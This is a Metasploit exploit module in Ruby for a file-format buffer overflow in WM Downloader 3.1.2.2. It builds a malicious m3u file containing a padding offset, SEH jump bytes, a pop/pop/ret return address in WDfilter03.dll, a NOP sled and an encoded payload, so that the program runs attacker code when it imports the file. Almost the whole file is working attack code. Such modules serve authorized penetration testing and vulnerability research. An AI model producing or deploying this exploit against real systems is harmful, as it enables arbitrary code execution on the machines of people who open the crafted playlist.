##
# $Id: wm_downloader_m3u.rb 9968 2010-08-07 00:51:52Z swtornio $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/projects/Framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WM Downloader 3.1.2.2 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in WM Downloader v3.1.2.2. When
        the application is used to import a specially crafted m3u file, a buffer overflow occurs
        allowing arbitrary code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'fdisk',   # Original Exploit
          'dookie'  # MSF Module
        ],
      'Version'        => '$Revision: 9968 $',
      'References'     =>
        [
          [ 'OSVDB', '66911'],
          [ 'URL', 'http://www.exploit-db.com/exploits/14497/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => 1000,
          'BadChars' => "\x00\x09\x0a",
          'StackAdjustment' => -3500
        },
      'Platform' => 'win',
      'Targets'        =>
        [
          [ 'Windows Universal', { 'Ret' => 0x1001060C, 'Offset' => 43480 } ],  # p/p/r in WDfilter03.dll
        ],
      'Privileged'     => false,
      'DisclosureDate' => 'Jul 28 2010',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
      ], self.class)

  end

  def exploit

    sploit = rand_text_alpha_upper(43480)  # Offset for WinXP
    sploit << "\xeb\x20\x90\x90"    # Jump to the nops after the 2nd offset
    sploit << [target.ret].pack('V')  # Offset
    sploit << rand_text_alpha_upper(16)  # Pad to reach the Win7 Offset
    sploit << "\xeb\x0C\x90\x90"     # Jump over the cruft
    sploit << [target.ret].pack('V')  # Offset
    sploit << "\x90" * 8
    sploit << payload.encoded
      
    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(sploit)
    
  end

end